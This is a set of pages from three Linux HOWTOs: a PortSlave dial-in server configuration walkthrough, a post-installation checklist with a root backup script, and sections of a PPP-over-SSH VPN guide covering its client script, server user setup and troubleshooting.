All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author does not take any responsibility for that.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

Prev | Home | Next
PortSlave How-To using the Linux Router |  | The Procedure


The Procedure

PortSlave How-To using the Linux Router
Prev

2. The Procedure

First, you need a running version of LRP - either build the disk yourself or you can grab an image of mine at: http://www.computechnology.com/pslave1440.img. This is a copy of my working disk and you can directly write an image of it to your disk. It will get you started. All you will then have to do is change to the appropriate IP numbers and network card drivers. I won't get into building a lrp disk here because there seems to be fairly good documentation on that subject available.

Assuming you have your disk built, and you computer running, here is what we need to do to configure your disk.

First, DELETE (yes, I said DELETE) all options.tty?? files, the options file, and pap-secrets files located under /etc/ppp-radius and /etc/ppp. If you have an /etc/ppp, you probably installed ppp.lrp. Also remove ppp.lrp from your disk and /etc/ppp will go away.

Next, go to /etc/portslave and adjust the pslave.conf file accordingly. I will now take you through that file line-by-line. I don't know what all of it means but I made it work so you can to.

#
# pslave.conf Here is the sample server configuration file.
#
# Version: 1.17 03-Nov-1998
#

#
# Hostname of the system.
#
# This is my routers name. Your routers name will be different

conf.hostname hma2.cpty.net

#
# IP address - if left empty, uses the IP address of the system (hostname).
#
# This is used as the "local" address for SLIP and PPP connections.
# This is my routers IP address yours will be different use your routers
# IP number here

conf.ipno 10.0.0.4

#
# Lock directory - on FSSTND compliant systems it's /var/lock.
#
# No need to change this

conf.lockdir /var/lock

#
# Where to find the rlogin binary that accepts the "-i" flag.
#
# No need to change this

conf.rlogin /usr/bin/rlogin-radius

#
# Where to find our patched pppd that has radius linked in.
#
# No need to change this

conf.pppd /usr/sbin/pppd-radius

#
# Where to find telnet. This can just be the system telnet.
#
# This can stay or go

conf.telnet /usr/bin/telnet

#
# If you set this to "1", you can always login locally by putting a '!'
# before your loginname. Useful for emergencies when the RADIUS server is down.
# Make this either 0 or 1 as mentioned above

conf.locallogins 1

#
# Logging stuff - this program can use a remote syslog daemon if needed.
#
# If you want to log locally leave the "syslog" field empty. The facility
# field is an integer between 0 and 7 and sets the syslog facility to
# local0-local7.
#
# For now I log local to my router that is why I do not have anything
# after syslog

conf.syslog

conf.facility 6

#
# Stripnames - if you set this to "1", leading "P", "S", "C", "L" or "!"
# characters and trailing ".slip", ".cslip" and ".ppp" strings will be
# stripped from the username before it is recorded in the system
# utmp and wtmp files (if sysutmp or syswtmp are turned on of course)
#
# No need to change this

conf.stripnames 0

##
## The all entry is used as a template for all others. This means that
## setting all.debug to 0, you set s0.debug, s1.debug, s2.debug etc.
## to 0. It also means that all these settings can be overridden on a
## per-port basis below.
##
## The "all." stuff is the default for everything unless you specifically
## override it. I'll show you that at the end of this.

#
# Debugging output to syslog. Set to 0 or 1. "1" is pretty verbose.
# This can be 0 or 1. I like 1 because it gives lots of info

all.debug 1

#
# Authentication type - either "radius" or "none".
#
# Leave this as it is

all.authtype radius

#
# Authentication host and accounting host. We can have 2 of both. The
# first one is always tried three times before switching to the second one.
# They are alternately tried after that, up to maximum 10 times in total.
# Timeout is 5 seconds per query.
#
# These are the names of my RADIUS servers; name your RADIUS servers here

all.authhost1 cody.cpty.net
all.accthost1 cody.cpty.net

#all.authhost2 backuphost.someisp.com
#all.accthost2 backuphost.someisp.com

#
#
# The shared secret for RADIUS.
#
# Put your shared secret here, this must match the shared secret in
# your RADIUS servers clients file for the IP number or name of this router.

all.secret superagentman

#
# Default protocol and host. This is for rlogin sessions.
#
# Just change the all.host to the IP number of your router this should
# match what you have at the top of this file

all.protocol rlogin
all.host 10.0.0.4

#
# Default IP stuff. If you end the "ipno" with a "+", the portnumber will
# be added to the IP number. The IP number of a port is used when the RADIUS
# server doesn't send an IP number, or if it tells us to use a dynamic ipno.
#
# Leave the netmask at 255.255.255.255, unless you really know what
# you're doing.
#
# This seemed a little confusing, but since I went with static IP numbers
# this was easy. I do not have "+" after my IP number because I directly
# assign the IP number to a MODEM at the end of this file.
#
# I modified the netmask to match that of my network. And I left MTU alone

all.ipno 10.0.0.4
all.netmask 255.255.255.0
all.mtu 1500

#
# Standard message that is issued on connect.
#
# No need to change this

all.issue \n\

Cistron Internet Services \n\

POP Alphen aan den Rijn \n\

Welcome to terminal server %h port S%p\n

#
# Login prompt.
#
# No Need to change this

all.prompt Cistron login:

#
# Terminal type, for rlogin/telnet sessions.
#
# No need to change this

all.term vt100

#
# If you want portslave to update the utmp and/or wtmp files just
# like a regular getty/login, set these to 1.
#
# I set both of these to 1; you can do what you want here

all.sysutmp 1

all.syswtmp 1

##
## Options for the serial port.
##

#
# Porttype (passed to Radius for logging).
# 0 = async, 1 = sync, 2 = ISDN, 3 = ISDN-V120, 4 = ISDN-V110
#
# Use 0 if its a modem

all.porttype 0

#
# Speed. All ports are set to 8N1.
#
# Set this to just beyond your max modem speed

all.speed 115200

#
# Use this to initialize the modem.
#
# I had to make this AT&F to reset the modem to it's defaults
# each time ATZ did not work.  If you are not familiar with scripting
# then some of this won't make sense to you. That's ok; I didn't get u
# it either until I played with it.

all.initchat "" \d\dAT&F OK\r\n-AT&F-OK\r\n

#
# You can use either waitfor or aa.
#
# No need to change this

all.waitfor RING

#
# Chat string to get the modem to connect after waitfor.
#
# The @ sign matches (.*)[\r\n] in regexp code, the match is logged
# to Radius as Connection-Info.
#
# No need to change this

all.answer "" ATA CONNECT@

#
# Auto answer - if you set this to "1", the system will just wait for
# the DCD line to get high (this is not well tested). You won't get
# the connection info either.
#
# No need to change this

all.aa 0

#
# You can use this chatstring to regulary check if the modem is still alive.
#
# NOT IMPLEMENTED YET.
#
# I don't know if this line works or not. Let me know if you find anything
# out about it.  Just leave it the same and portslave will work.

all.checktime 60
all.checkchat "" AT OK\r\n

#
# Flow control on this serial port:
#
#    hard - hardware, rts/cts
#    soft - software, CTRL-S / CTRL-Q
#    none
#
# No need to change this

all.flow hard

#
# Use the DCD line or not (this sets CLOCAL if on). This means that the
# session will get hung up if the modem hangs up. Can be set to 0 or 1.
#
# No need to change this

all.dcd 1

#
# PPP options - used if we autodetect a PPP session.
#
# Note that we set mru and mtu both to the MTU setting.
#
# Look at these lines close; this is what worked for me.
# These parameters are sent to the ppp daemon when it
# is called. I think the autoppp is called first then
# after you are authenticated I think the second ppp is
# called. I don't know for sure that this is how it worked,
# but it appears that way to me

all.autoppp proxyarp modem asyncmap 0 %i: \

noipx noccp login auth +pap -chap \

mtu %t mru %t \

ms-dns 208.206.143.35 ms-dns 208.206.143.36 \

uselib /usr/lib/libpsr.so

#
# PPP options - User already authenticated and service type is PPP.
#

all.pppopt proxyarp modem asyncmap 0 %i:%j \

noipx noccp \

mtu %t mru %t netmask %m idle %I \

ms-dns 208.206.143.35 ms-dns 208.206.143.36 \

uselib /usr/lib/libpsr.so

##
## Tty names are s0...s63. For every port we need to define a tty port, and
## an IP number for when radius tells us to pick one ourself. Unless you
## use the IP pool option mentioned above (IP number with "+" appended).
##
## Note that you can change _all_ of the above settings that start
## with all.xxxx on a per-port basis, such as issue, prompt etc.
##
## This is where you can set options to a specific modem. sX.tty is
## for portslaves use you assign it to a real tty device.
## In the /etc/inittab you will see the lines portlsave 0 or 1 etc..
## this 0 or 1 is the tty device number portslave already knows it is
## "tty something" so all it requires is the last digits.
##
## Since my modem is on COM 4 (DOS) that means s3.tty is ttyS3

s3.tty ttyS3

# Now I can set options for that modem
#
# Here is it's IP number statically assigned

s3.ipno 10.0.0.202

# Here is the protocol to use on that modem. PAY CLOSE ATTENTION HERE!
# This is the line that finally made portslave work perfectly for me.
# You must tie the ppp protocol to your modem. Simple huh?

s3.protocol ppp

Prev | Home
Introduction |


GNU/Linux Post-Installation Checklist

Defying Murphy's Laws

Algologic Research & Solutions

algolog (at) hd1.vsnl.net.in

Revision History
Revision 1.0 2001-06-12 Revised by:
Initial release using docbook sgml.

This document provides a checklist for steps you should take immediately after installing GNU/Linux. These steps will save you a lot of bother if you encounter any problems later on. This document also includes a shell script for automating the post installation process.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. Feedback
2. Post-Installation Steps
3. Shell script
3.1. The script...
Next
Introduction


Introduction

GNU/Linux Post-Installation Checklist: Defying Murphy's Laws
Prev Next

1. Introduction

You have just completed installing your own Linux system. You have just made an upgrade to your existing Linux system. You are happy with the first few checkouts and usage experience. You want to make sure you will enjoy this system in spite of any damage which may occur later because of any unexpected "faux pas".

It is a good idea to keep a snapshot of the new system, so that you can be assured that in the event of any misfortune with your Linux installation, you can always recover without any permanent damage. This checklist will help you with precautionary steps you must take, as soon as you complete installation of Linux. It is a sequel to the GNU/Linux pre-installation checklist, and a companion to the official Linux Installation HOWTO. This checklist also contains a Section 3 which will automate the process of making a snapshot of your system.

1.1. Copyright Information

This document is copyrighted (c) 2001 Algologic Research & Solutions and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to make a backup of your system before major installation and continue to do so at regular intervals.

1.3. Feedback

This document and the Section 3 are continuously updated. Make sure you are referring to the latest version of this document, by visiting the Linux post-install site frequently. Email <algolog@hd1.vsnl.net.in> with your feedback and suggestions.

Note: We do NOT answer general queries on Linux. If you want professional (PAID) help with Linux -- ask Algologic. You may also visit our home page : Algologic Research & Solutions.

Prev | Home | Next
GNU/Linux Post-Installation Checklist |  | Post-Installation Steps


Shell script

GNU/Linux Post-Installation Checklist: Defying Murphy's Laws
Prev

3. Shell script

The shell script (shivalik Ver. 1.0) is a convenient way to make backups of essential files and information. After downloading the script:

  • Make sure that you have logged in as "root"

  • Save the script in a directory with "root" permissions, say /root/myscript

  • Change to that directory i.e. cd /root/myscript use gunzip to unzip the script i.e gunzip ./shivalik.gz

  • IMPORTANT: You must read the warning given at the end of the script. Proceed with the next steps, only if you agree to the conditions specified in the warning...

  • To execute the script: You must make the script executable (by root only) chmod 700 ./shivalik

  • Verify that the paths of the various files which are to be saved, are correct and conform to your installation.

  • You can execute the script correctly only if you are "root" (many of the files being saved need root permissions).

Now you can execute (run) the above script (remember you must be "root", to do this) -- type ./shivalik

The script is profusely documented. It does not modify (or delete) any of your files or directories. It creates a well-protected backup of some essential files and information. The entire script is available for you to browse and understand its working. Feel free to go through the script and add any additional features, or files which you wish to be backed up. You may also send your feedback to the author of this script (<algolog@hd1.vsnl.net.in>).

Remember, the shivalik script is not a tool for complete backup and recovery. Ideally, the best thing to do would be to make a verbatim copy of your entire Linux installation along with all files and directories. This is not always possible, necessary, or advisable. The next best thing would be to take a backup of the most essential information and files. The shivalik script achieves this for you. The script creates a directory called /root/postinfo/, and stores all essential information (and files) there. To be absolutely prepared for any eventuality, you must copy the entire /root/postinfo/ on a removable medium, as soon as the script is executed.

Recovery and Repair: In the event of any problems later, you can reconstruct the damaged files by copying the files you have backed up in the /root/postinfo/ directory. It is as simple as that.

The structure of the /root/postinfo/ directory, and files found within, will be as follows:

/root/postinfo/summary

Contains a summary report of the status of your system (memory, partitions, mount points, disk usage). This file also has the list of files which have been saved. It also contains admin info like date and time of backup, shivalik version number etc.

/root/postinfo/postinfo.tar.gz

Contains a copy of the earlier postinfo (if any). This is a fall back to a fall back!

/root/postinfo/snapshot.gz

Contains a gzipped structured listing of ALL files and directories of your Linux system (the directories "tree"). You can unzip this file and use any plain text editor to know the location of any file. Of course, you cannot retrieve the contents of that file unless you had saved it explicitly elsewhere.

/root/postinfo/shivalik

This is a copy of the shivalik script which was used for making the post install backup. At the time of recovery after an incident, you can always examine this script to know how the backup was done earlier. You will always have a consistent copy of the script and the files created by the script.

/root/postinfo/etcfiles/

This subdirectory contains a copy of many essential files from the /etc/ directory of your Linux installation. It also contains copies of the various configuration files stored in the /etc/ directory.

/root/postinfo/otherfiles/

This subdirectory contains a copy of some essential files (those which are not in the /etc/ directory) of your Linux installation. If you want, you can add any other files here, and get it saved automatically with others.

3.1. The script...

#-----------------------------------------------
#           shivalik  \(Ver. 1.0\)
#Please read the WARNING section of this script first

#This script collects post installation information
#this can also be run occasionally to collect all useful
#information about your Linux installation, in one place
#The output will be written to /root/postinfo/
#a summary report will be written in /root/postinfo/summary

#For usage and related information, please consult:
#http://algolog.tripod.com/postlnx.htm
# ----------------------------------------------

clear
echo
echo "-----------------------------------------------------------"
echo This is the output of Partha\'s shivalik script \(Ver.1.0\)
echo You must be \"root\", for this script to work correctly
echo You must also read and accept the terms and warnings given
echo in the WARNINGS section of this script
echo "-----------------------------------------------------------"
echo
echo "### STEP 0 ### Preparation work"
echo First we create the /root/postinfo/ directory if does not exist already
test ! -d /root/postinfo && mkdir /root/postinfo

echo Saving current version of all postinfo files
echo But first we delete the earlier version i.e. current-1 version
test -e /root/postinfo/oldpostinfo* &&  rm /root/postinfo/oldpostinfo.tar.gz
#the oldpostinfo file is made temporarily in /root
#it will be moved to /root/postinfo
tar -zcvf /root/oldpostinfo.tar.gz /root/postinfo/*

#check if above tar succeeded
if
test -s /root/oldpostinfo.tar.gz
then
echo old postinfo saved in /root/oldpostinfo.tar.gz
ls -l /root/oldpostinfo*
else
echo Could not save oldpostinfo
echo Abandoning shivalik script
exit
fi

#now delete all the current postinfofiles
rm -rf /root/postinfo/*
#and start a new summary file
echo  shivalik \(Ver. 1.0\) > /root/postinfo/summary
echo -n "Report created on: " >> /root/postinfo/summary
date -R >> /root/postinfo/summary
echo And now, move the oldpostinfo file to /root/postinfo/ directory
mv /root/oldpostinfo.tar.gz /root/postinfo
#

#copy the shivalik script
echo charity begins at home
echo We make a copy of the shivalik script
echo We make a copy of the shivalik script >> /root/postinfo/summary
echo in /root/postinfo/ >> /root/postinfo/summary
cp ./shivalik /root/postinfo/shivalik

#taking stock
echo
echo Contents of /root/postinfo at the end of STEP-0
ls -AlR /root/postinfo
echo End of "### STEP 0 ###
echo
#
#
echo
echo "### STEP 1 ### Make a snapshot of the system"
echo >> /root/postinfo/summary
echo "### STEP 1 ### A snapshot of all the files and directories" >>  /root/postinfo/summary
echo The first step is to take stock of your computer contents
echo This is going to take several minutes
echo So, go and fetch your coffee mug !
ls -AlRH / >> /root/postinfo/snapshot
rm -f /root/postinfo/snapshot.gz
gzip /root/postinfo/snapshot
echo snapshot created
echo An exhaustive listing of all files has been made and >> /root/postinfo/summary
echo stored in /root/postinfo/snapshot.gz >> /root/postinfo/summary
ls -l /root/postinfo/snapshot.gz >> /root/postinfo/summary

# taking stock at the end of this step
echo
echo Contents of /root/postinfo at the end of this STEP
ls -l /root/postinfo
echo End of "### STEP 1 ###
echo
#
#
echo

echo "### STEP 2 ### Vital statistics"
echo >> /root/postinfo/summary
echo "### STEP 2 ### Vital statistics" >> /root/postinfo/summary

echo Collecting vital statistics

echo .....about memory
echo "---- cat /proc/meminfo ---------" >> /root/postinfo/summary
cat /proc/meminfo >> /root/postinfo/summary

echo .....about partitions and mountpoints
echo "---- cat /proc/partitions---------" >> /root/postinfo/summary
cat /proc/partitions >> /root/postinfo/summary

echo .....about diskspace used
echo "---- df ---------" >> /root/postinfo/summary
df >> /root/postinfo/summary

echo .....about modules
echo "---- cat /proc/modules ---------" >> /root/postinfo/summary
cat /proc/modules >> /root/postinfo/summary

# taking stock at the end of this step

echo
echo Contents of /root/postinfo at the end of STEP-2
ls -AlR /root/postinfo
echo End of "### STEP 2 ###
echo
#
#
echo
echo "### STEP 3 ### Now we save some important files from /etc "
echo This section may need some customising, depending on the
echo installation you have done, and the distribution you have used,
echo and the options you have chosen during installation.

echo >> /root/postinfo/summary
echo "### STEP 3 ### Now we save some important files from /etc" >>  /root/postinfo/summary
test ! -d /root/postinfo/etcfiles && mkdir /root/postinfo/etcfiles

echo ..... saving XF86Config -- your XWindows config file
cp /etc/XF86Config /root/postinfo/etcfiles
echo "cp /etc/XF86Config /root/postinfo/" >> /root/postinfo/summary

echo ..... saving /etc/fstab file
cp /etc/fstab  /root/postinfo/etcfiles
echo "cp /etc/fstab /root/postinfo/" >> /root/postinfo/summary

echo ..... saving /etc/profile file
cp /etc/profile  /root/postinfo/etcfiles
echo "cp /etc/profile /root/postinfo/" >> /root/postinfo/summary

echo ..... saving /etc/profile.local file
cp /etc/profile.local  /root/postinfo/etcfiles
echo "cp /etc/profile.local /root/postinfo/" >> /root/postinfo/summary

echo ".... saving /etc/*conf files"
cp /etc/*conf /root/postinfo/etcfiles

echo ".... saving /etc/*config files"
cp /etc/*config /root/postinfo/etcfiles

echo the following files from /etc have been copied to  /root/postinfo/etcfiles >> /root/postinfo/summary
echo "/etc/*conf" >> /root/postinfo/summary
echo "/etc/*config" >> /root/postinfo/summary

# taking stock at the end of this step
echo
echo Contents of /root/postinfo at the end of this STEP-3
ls -AlR /root/postinfo
echo End of "### STEP 3 ###
echo
#
#

echo
echo "### STEP 4 ### Now we save some other important files"
echo This section may need some customising, depending on the
echo installation you have done, and the distribution you have used,
echo and the options you have chosen for the installation
echo The following stuff is  designed for SuSe  7.1

echo "### STEP 4 ### Now we save some other important files" >>  /root/postinfo/summary
echo in /root/postinfo/otherfiles >> /root/postinfo/summary
echo You can add any other files to backed up, here
test ! -d /root/postinfo/otherfiles && mkdir /root/postinfo/otherfiles
ls -l /root/postinfo/

echo ..... saving /etc/init.d/boot.local --
cp /etc/init.d/boot.local /root/postinfo/otherfiles
echo "cp /etc/init.d/boot.local /root/postinfo/otherfiles" >>  /root/postinfo/summary

echo ..... saving /etc/init.d/halt.local --
cp /etc/init.d/halt.local /root/postinfo/otherfiles
echo "cp /etc/init.d/halt.local /root/postinfo/otherfiles" >>  /root/postinfo/summary

# taking stock at the end of this step
echo
echo Contents of /root/postinfo at the end of this STEP-4
ls -AlR /root/postinfo
echo End of "### STEP 4 ###
echo

echo
echo "### STEP 999 ### Wrap up, clean up"
echo >> /root/postinfo/summary

echo "### STEP 999 ### Wrap up, clean up, sum up" >>  /root/postinfo/summary
echo summing up, cleaning up
# for security reasons we make /root/postinfo inaccessible to
# and invisible to non-root
chmod 700 /root/postinfo
chmod 700 /root/postinfo/etcfiles
chmod 700 /root/postinfo/otherfiles
chmod 700 /root/postinfo/*
chmod 700 /root/postinfo/etcfiles/*
chmod 700 /root/postinfo/otherfiles/*
echo This is the contents of /root/postinfo >> /root/postinfo/summary
ls -AlR /root/postinfo >> /root/postinfo/summary
echo "###### THE END #####" >> /root/postinfo/summary

# taking stock at the end of this step
echo
echo Contents of /root/postinfo at the end of this STEP-999
ls -AlR /root/postinfo
echo End of "### STEP 999 ###"
echo
echo "###### THE END #####"
echo IMPORTANT: You must now copy all the files in /root/postinfo
echo to a safe location, preferably on a different drive or on
echo a removable backup medium.
echo " "
echo You will find a summary report of this procedure, in
echo /root/postinfo/summary
echo You will find the earlier version of summary \(if any\)
echo inside /root/postinfo/oldpostinfo.tar.gz
echo " "

#
echo "
#---------------------------------------------------------
#               WARNING  WARNING WARNING
#                shivalik (ver. 1.0)
# This script is being made accessible to you without any
# warranties or assurances about its performance or
# usability for any purpose. Be informed that you are using
# this script out of your own initiative and willingness,
# and at your own risk and peril.
# You will find the latest version of this script, and related
# information at: http://algolog.tripod.com/postlnx.htm
# Copyrights and all rights reserved by:
# Dr. S. Parthasarathy (algolog@hd1.vsnl.net.in)
#--------------------------------------------------------
"

Prev | Home
Post-Installation Steps |


Post-Installation Steps

GNU/Linux Post-Installation Checklist: Defying Murphy's Laws
Prev Next

2. Post-Installation Steps

To enjoy your new Linux installation forever without any worries, it is important to take a few simple precautions. You must do these as soon as you complete installing Linux on your machine for the first time.

  1. Create a boot diskette and a rescue diskette. Utilities for creating these diskettes are available along with your Linux distribution.

  2. If you are the paranoid type (like me), you can make two copies of each of these diskettes. Diskettes are notorious for failing when they are most needed.

  3. Test out your boot diskette. Make sure you can boot into Linux using the boot diskette. Remember Murphy's Laws may strike at you just when you least expect.

  4. Checkout thoroughly your new system. Try all major packages.

  5. Try out the X windows system, and the desktop, and the windows manager, if you have installed these.

  6. Try out the connection to your LAN, and to the Internet.

  7. Create at least one "non-root" account, for testing and debugging your installation. Perform ALL the above checkouts once again, using the non-root account you created.

  8. Join a local Linux Users Group (LUG). You must find out if there is a LUG close by. If there is none, start an informal LUG yourself, in your neighbourhood, your campus, your city, or your town.

  9. Join one or more mailing lists for Linux updates and news. There are literally hundreds of them.

  10. Register yourself and your machine in the worldwide Linux Users Counter.

  11. And finally...Download the Section 3 and run it. Make a safe copy (on a removable medium) of the directory: /root/postinfo which the script will create. You may also like to make a printout of the summary report /root/postinfo/summary created by the shell script.

  12. You must run this shell script: as soon as you have installed Linux for the first time, and after every major revision or upgrade to your Linux system. You can also set up the script as a cron job, so that it runs itself periodically and automatically. This will avoid you a lost of hassles later, in case something gets messed up later.

Prev | Home | Next
Introduction |  | Shell script


Bring up the Link

VPN PPP-SSH Mini-HOWTO
Prev Next

6. Bring up the Link

Everything should now be set up. Now it's time to take a deep breath and try to bring up the link.

  1. Become root on the client machine and execute the vpn-pppssh script.

    client# /usr/local/bin/vpn-pppssh start

  2. It will take a while to connect, but then it should come back with something like the following

    Using interface ppp1
Connect: ppp1 <--> /dev/pts/1
local  IP address 192.168.3.1
remote IP address 192.168.3.2

  3. Did it work? First try pinging the client's VPN interface:

    client$ ping 192.168.3.2

  4. If this worked, then you can reach the interface on the client OK. Don't get excited yet -- that was the easy part. Now, try pinging the server's VPN interface:

    client$ ping 192.168.3.1

    If you get echoes back, then congratulations! Your PPP-SSH VPN appears to be healthy. Packets are successfully travelling the route in both directions. You might want to log into your server and try initiating pings from the server to the client, but at this stage of the game, that's almost guaranteed to work.

You bring the VPN down with "vpn-pppssh stop".

Now that the tunnel works, you might want to integrate it into your system so it comes up automatically as described in Section 7. Also, if you want to forward packets from an entire subnet over the link (rather than just the packets originating on the client and server as we have set up now) see Section 8.

6.1. Troubleshooting

The script itself is fairly simple. The entire system, however, involves a lot of small parts. If any one of them is misconfigured, it can prevent your VPN from working without so much as a message why. Here is a list of things to check if you run into difficulties:

  • Double and triple check your network values. Try running "vpn-pppssh config" to ensure the configuration is correct and the shell hasn't ruined any of your values.

  • Go back over each step and make sure that it all checks out.

  • Try temporarially turning off any firewalls on the client, on the server, and on any machines in between to see if any of them are getting in the way (not likely if you can SSH between the two machines).

  • Ensure that your routes are correct. You can list your routes using "route -n". See the Linux Network Administrators Guide and http://www.linuxdoc.org/HOWTO/Adv-Routing-HOWTO.html for more.

6.1.1. sendto: Operation not permitted

When you try to ping the VPN interfaces, if you get a "sendto: Operation not permitted" error, you are probably running into a firewall on the local machine that is denying packets before they even reach the VPN network interface. Your firewall must allow SSH traffic over your regular network and it must allow all traffic over your VPN interfacess.

The ipchains commands to smash a hole in your firewall for your PPP interface will something like this:

ipchains -I input  1 -i ppp1 -s 192.168.3.0/24 -j ACCEPT
ipchains -I output 1 -i ppp1 -d 192.168.3.0/24 -j ACCEPT

ppp1 must, of course, be the network interface of your PPP-SSH VPN, and the IP addresses must match the address of the local interface. Make sure that packets are allowed on both the client and server.

See the Linux Firewall HOWTO, the IPChains HOWTO for kernel 2.2, or documentation on iptables for kernel 2.4.

Prev | Home | Next
Configure the Client |  | Integrating the VPN into your system


Configure the Client

VPN PPP-SSH Mini-HOWTO
Prev Next

5. Configure the Client

If ppp and ssh are set up on the client, and the server is ready to connect, then all we need to do on the client is create the script to bring up the link.

5.1. Install the Script

The VPN connection is initiated using the vpn-pppssh script below.

  1. Save this file on the client (it doesn't matter where -- /usr/local/bin/vpn-pppssh is a good place) and make it executable by running "chmod a+x vpn-pppssh".

  2. Fill in the settings at the top of the file with the values you decided on in Section 3.3.

    Remember that this is running under bash so you'll need to avoid whitespace around the equals sign, use quotes where necessary, and escape metacharacters such as $. See the BASH Programming Introduction or Advanced Bash Scripting Guide for more.

    SERVER_HOSTNAME=eldivino.domain.com
SERVER_USERNAME=vpn
SERVER_IFIPADDR=192.168.3.2
CLIENT_IFIPADDR=192.168.3.1

    Run "vpn-pppssh config" to print out a list of the configuration variables. This way, you can confirm that your settings are being interpreted correctly.

5.2. The vpn-pppssh Script

Here is vpn-pppssh. All the action is on one line. (the one beginning with "PPPD" in the start clause). All the rest of this file is just support code.

#!/bin/sh
# /usr/local/bin/vpn-pppssh
#
# This script initiates a ppp-ssh vpn connection.
# see the VPN PPP-SSH HOWTO on http://www.linuxdoc.org for more information.
#
# revision history:
# 1.6 11-Nov-1996 miquels@cistron.nl
# 1.7 20-Dec-1999 bart@jukie.net
# 2.0 16-May-2001 bronson@trestle.com

#
# You will need to change these variables...
#

# The host name or IP address of the SSH server that we are
# sending the connection request to:
SERVER_HOSTNAME=eldivino.domain.com

# The username on the VPN server that will run the tunnel.
# For security reasons, this should NOT be root.  (Any user
# that can use PPP can intitiate the connection on the client)
SERVER_USERNAME=vpn

# The VPN network interface on the server should use this address:
SERVER_IFIPADDR=192.168.3.2

# ...and on the client, this address:
CLIENT_IFIPADDR=192.168.3.1

# This tells ssh to use unprivileged high ports, even though it's
# running as root.  This way, you don't have to punch custom holes
# through your firewall.
LOCAL_SSH_OPTS="-P"

#
# The rest of this file should not need to be changed.
#

PATH=/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/bin/X11/:

#
# required commands...
#

PPPD=/usr/sbin/pppd
SSH=/usr/bin/ssh

if ! test -f $PPPD  ; then echo "can't find $PPPD";  exit 3; fi
if ! test -f $SSH   ; then echo "can't find $SSH";   exit 4; fi

case "$1" in
  start)
    # echo -n "Starting vpn to $SERVER_HOSTNAME: "
    ${PPPD} updetach noauth passive pty "${SSH} ${LOCAL_SSH_OPTS} ${SERVER_HOSTNAME} -l${SERVER_USERNAME} -o Batchmode=yes sudo ${PPPD} nodetach notty noauth" ipparam vpn ${CLIENT_IFIPADDR}:${SERVER_IFIPADDR}
    # echo "connected."
    ;;

  stop)
        # echo -n "Stopping vpn to $SERVER_HOSTNAME: "
        PID=`ps ax | grep "${SSH} ${LOCAL_SSH_OPTS} ${SERVER_HOSTNAME} -l${SERVER_USERNAME} -o" | grep -v ' passive ' | grep -v 'grep ' | awk '{print $1}'`
        if [ "${PID}" != "" ]; then
          kill $PID
          echo "disconnected."
        else
          echo "Failed to find PID for the connection"
        fi
    ;;

  config)
    echo "SERVER_HOSTNAME=$SERVER_HOSTNAME"
    echo "SERVER_USERNAME=$SERVER_USERNAME"
    echo "SERVER_IFIPADDR=$SERVER_IFIPADDR"
    echo "CLIENT_IFIPADDR=$CLIENT_IFIPADDR"
  ;;

  *)
    echo "Usage: vpn {start|stop|config}"
    exit 1
    ;;
esac

exit 0

Prev | Home | Next
Configure the Server |  | Bring up the Link


Configure the Server

VPN PPP-SSH Mini-HOWTO
Prev Next

4. Configure the Server

We need to set up the server to respond to the client's request to bring up the tunnel.

4.1. Create a VPN User

The incoming SSH VPN requests must be directed to a particular user on the server. For security and accountability, I recommend you use a dedicated user to field VPN requests. The following steps will set up a system user named "vpn" to do just that.

  1. First, we create the user's account. Accounts come in two ranges: the system range (typically 100-999) and the regular user range (1000+). "--system" tells adduser to add the user in the system range and to give him /bin/false for the login shell. "--group" tells adduser to also create a group of the same name as the user, and to add the user to the group.

    server# adduser --sytem --group vpn

  2. Since the vpn user needs to log in via ssh, change vpn's shell from /bin/false to /bin/bash in the /etc/passwd file. You can simply edit /etc/passwd using vi or any other decent text editor.

  3. Create a password for the vpn user. It can (and should) be very complex, since you'll only type it a few times while setting up the VPN. After that, you'll never type it again.

    server# passwd vpn
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

  4. Now, try connecting to the server to ensure that you've created the account properly.

    client% ssh eldivino.domain.com -l vpn
vpn@eldivino's password:
Linux eldivino 2.2.19 #6 Mon Jun 4 10:32:19 PDT 2001 i686 unknown
No mail.
vpn@eldivino:~$

    It may take a while for ssh to connect if you don't have reverse DNS set up properly. You can fix that whenever you want. It will only delay bringing up the VPN -- it won't prevent it from working.

    If it just stalls, then the ssh protocol is probably being dropped by a firewall between the two machines. Have a look at section Section 3.5 again.

4.2. Set up Authenticated Login

